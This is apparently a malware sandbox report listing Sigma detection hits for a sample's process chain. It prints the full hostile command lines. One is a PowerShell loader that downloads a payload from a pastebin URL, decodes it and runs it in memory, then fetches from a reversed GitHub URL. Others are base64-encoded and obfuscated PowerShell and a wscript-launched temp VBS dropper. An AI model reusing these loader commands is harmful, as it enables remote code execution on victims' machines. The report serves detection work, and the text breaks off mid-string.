Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text, CommandLine|base64offset|contains: jw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/Adv9gBHa' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$mixfu = '01' ;$bhpge = 'C:\Users\user\AppData\Local\Temp\mknrez.vbs' ;[Byte[]] $nugkk = [system.Convert]::FromBase64String( $QPtav.replace('$$$$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($nugkk).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('42ocsa/niam/sdaeh/sfer/erif/alliuqnarrab4202noipmahc/moc.tnetnocresubuhtig.war//:sptth' , $bhpge , 'igfxEM64', $mixfu, '1', 'Roda' ));", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6236, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text, ProcessId: 7024, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\jglbwx.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\jglbwx.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe", ParentImage: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe, ParentProcessId: 6636, ParentProcessName: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\jglbwx.vbs" , ProcessId: 6864, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\jglbwx.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\jglbwx.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe", ParentImage: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe, ParentProcessId: 6636, ParentProcessName: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\jglbwx.vbs" , ProcessId: 6864, ProcessName: wscript.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/Adv9gBHa' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$mixfu = '01' ;$bhpge = 'C:\Users\user\AppData\Local\Temp\mknrez.vbs' ;[Byte[]] $nugkk = [system.Convert]::FromBase64String( $QPtav.replace('$$$$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($nugkk).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('42ocsa/niam/sdaeh/sfer/erif/alliuqnarrab4202noipmahc/moc.tnetnocresubuhtig.war//:sptth' , $bhpge , 'igfxEM64', $mixfu, '1', 'Roda' ));", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/Adv9gBHa' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$mixfu = '01' ;$bhpge = 'C:\Users\user\AppData\Local\Temp\mknrez.vbs' ;[Byte[]] $nugkk = [system.Convert]::FromBase64String( $QPtav.replace('$$$$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($nugkk).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('42ocsa/niam/sdaeh/sfer/erif/alliuqnarrab4202noipmahc/moc.tnetnocresubuhtig.war//:sptth' , $bhpge , 'igfxEM64', $mixfu, '1', 'Roda' ));", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?QQBk?HY?OQBn?EI?S?Bh?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/Adv9gBHa' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$mixfu = '01' ;$bhpge = 'C:\Users\user\AppData\Local\Temp\mknrez.vbs' ;[Byte[]] $nugkk = [system.Convert]::FromBase64String( $QPtav.replace('$$$$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($nugkk).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('42ocsa/niam/sdaeh/sfer/erif/alliuqnarrab4202noipmahc/moc.tnetnocresubuhtig.war//:sptth' , $bhpge , 'igfxEM64', $mixfu, '1', 'Roda' ));", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/Adv9gBHa' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$mixfu = '01' ;$bhpge = 'C:\Users\user\AppData\Local\Temp\mknrez.vbs' ;[Byte[]] $nugkk = [system.Convert]::FromBase64String( $QPtav.replace('$$$$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($nugkk).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('42ocsa/niam/sdaeh/sfer/erif/alliuqnarrab4202noipmahc/moc.tnetnocresubuhtig.war//:sptth' , $bhpge , 'igfxEM64', $mixfu, '1', 'Roda' ));", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?QQBk?HY?OQBn?EI?S?Bh?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text, CommandLine|base64offset|contains: jw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/Adv9gBHa' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$mixfu = '01' ;$bhpge = 'C:\Users\user\AppData\Local\Temp\mknrez.vbs' ;[Byte[]] $nugkk = [system.Convert]::FromBase64String( $QPtav.replace('$$$$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($nugkk).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('42ocsa/niam/sdaeh/sfer/erif/alliuqnarrab4202noipmahc/moc.tnetnocresubuhtig.war//:sptth' , $bhpge , 'igfxEM64', $mixfu, '1', 'Roda' ));", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6236, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text, ProcessId: 7024, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/Adv9gBHa' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$mixfu = '01' ;$bhpge = 'C:\Users\user\AppData\Local\Temp\mknrez.vbs' ;[Byte[]] $nugkk = [system.Convert]::FromBase64String( $QPtav.replace('$$$$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($nugkk).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('42ocsa/niam/sdaeh/sfer/erif/alliuqnarrab4202noipmahc/moc.tnetnocresubuhtig.war//:sptth' , $bhpge , 'igfxEM64', $mixfu, '1', 'Roda' ));", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/Adv9gBHa' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$mixfu = '01' ;$bhpge = 'C:\Users\user\AppData\Local\Temp\mknrez.vbs' ;[Byte[]] $nugkk = [system.Convert]::FromBase64String( $QPtav.replace('$$$$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($nugkk).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('42ocsa/niam/sdaeh/sfer/erif/alliuqnarrab4202noipmahc/moc.tnetnocresubuhtig.war//:sptth' , $bhpge , 'igfxEM64', $mixfu, '1', 'Roda' ));", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?QQBk?HY?OQBn?EI?S?Bh?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\jglbwx.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\jglbwx.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe", ParentImage: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe, ParentProcessId: 6636, ParentProcessName: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\jglbwx.vbs" , ProcessId: 6864, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?QQBk?HY?OQBn?EI?S?Bh?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??7?GM?bQBk?C4?ZQB4?GU?I??v?GM?I??7?H??aQBu?Gc?I??x?DI?Nw?u?D??Lg?w?C4?MQ?g?Ds?c?Bv?Hc?ZQBy?HM?a?Bl?Gw?b??u?GU?e?Bl?C??LQBj?G8?bQBt?GE?bgBk?C??ew?k?GY?I??9?C??K?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?SQBu?HY?bwBr?GU?LQBX?GU?YgBS?GU?cQB1?GU?cwB0?C??LQBV?FI?SQ?g?CQ?UQBQ?HQ?YQB2?C??LQBP?HU?d?BG?Gk?b?Bl?C??J?Bm?C??LQBV?HM?ZQBC?GE?cwBp?GM?U?Bh?HI?cwBp?G4?ZwB9?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?J?Bt?Gk?e?Bm?HU?I??9?C??Jw?w?DE?Jw?g?Ds?J?Bi?Gg?c?Bn?GU?I??9?C??Jw?l?Eo?awBR?GE?cwBE?GY?ZwBy?FQ?Zw?l?Cc?I??7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?bgB1?Gc?awBr?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?CQ?UQBQ?HQ?YQB2?C4?cgBl?H??b?Bh?GM?ZQ?o?Cc?J??k?CQ?J??k?Cc?L??n?EE?Jw?p?C??KQ?g?Ds?WwBT?Hk?cwB0?GU?bQ?u?EE?c?Bw?EQ?bwBt?GE?aQBu?F0?Og?6?EM?dQBy?HI?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?J?Bu?HU?ZwBr?Gs?KQ?u?Ec?ZQB0?FQ?eQBw?GU?K??n?FQ?ZQBo?HU?b?Bj?Gg?ZQBz?Fg?e?BY?Hg?e??u?EM?b?Bh?HM?cw?x?Cc?KQ?u?Ec?ZQB0?E0?ZQB0?Gg?bwBk?Cg?JwBN?HM?cQBC?Ek?YgBZ?Cc?KQ?u?Ek?bgB2?G8?awBl?Cg?J?Bu?HU?b?Bs?Cw?I?Bb?G8?YgBq?GU?YwB0?Fs?XQBd?C??K??n?DQ?MgBv?GM?cwBh?C8?bgBp?GE?bQ?v?HM?Z?Bh?GU?a??v?HM?ZgBl?HI?LwBl?HI?aQBm?C8?YQBs?Gw?aQB1?HE?bgBh?HI?cgBh?GI?N??y?D??MgBu?G8?aQBw?G0?YQBo?GM?LwBt?G8?Yw?u?HQ?bgBl?HQ?bgBv?GM?cgBl?HM?dQBi?HU?a?B0?Gk?Zw?u?Hc?YQBy?C8?Lw?6?HM?c?B0?HQ?a??n?C??L??g?CQ?YgBo?H??ZwBl?C??L??g?Cc?aQBn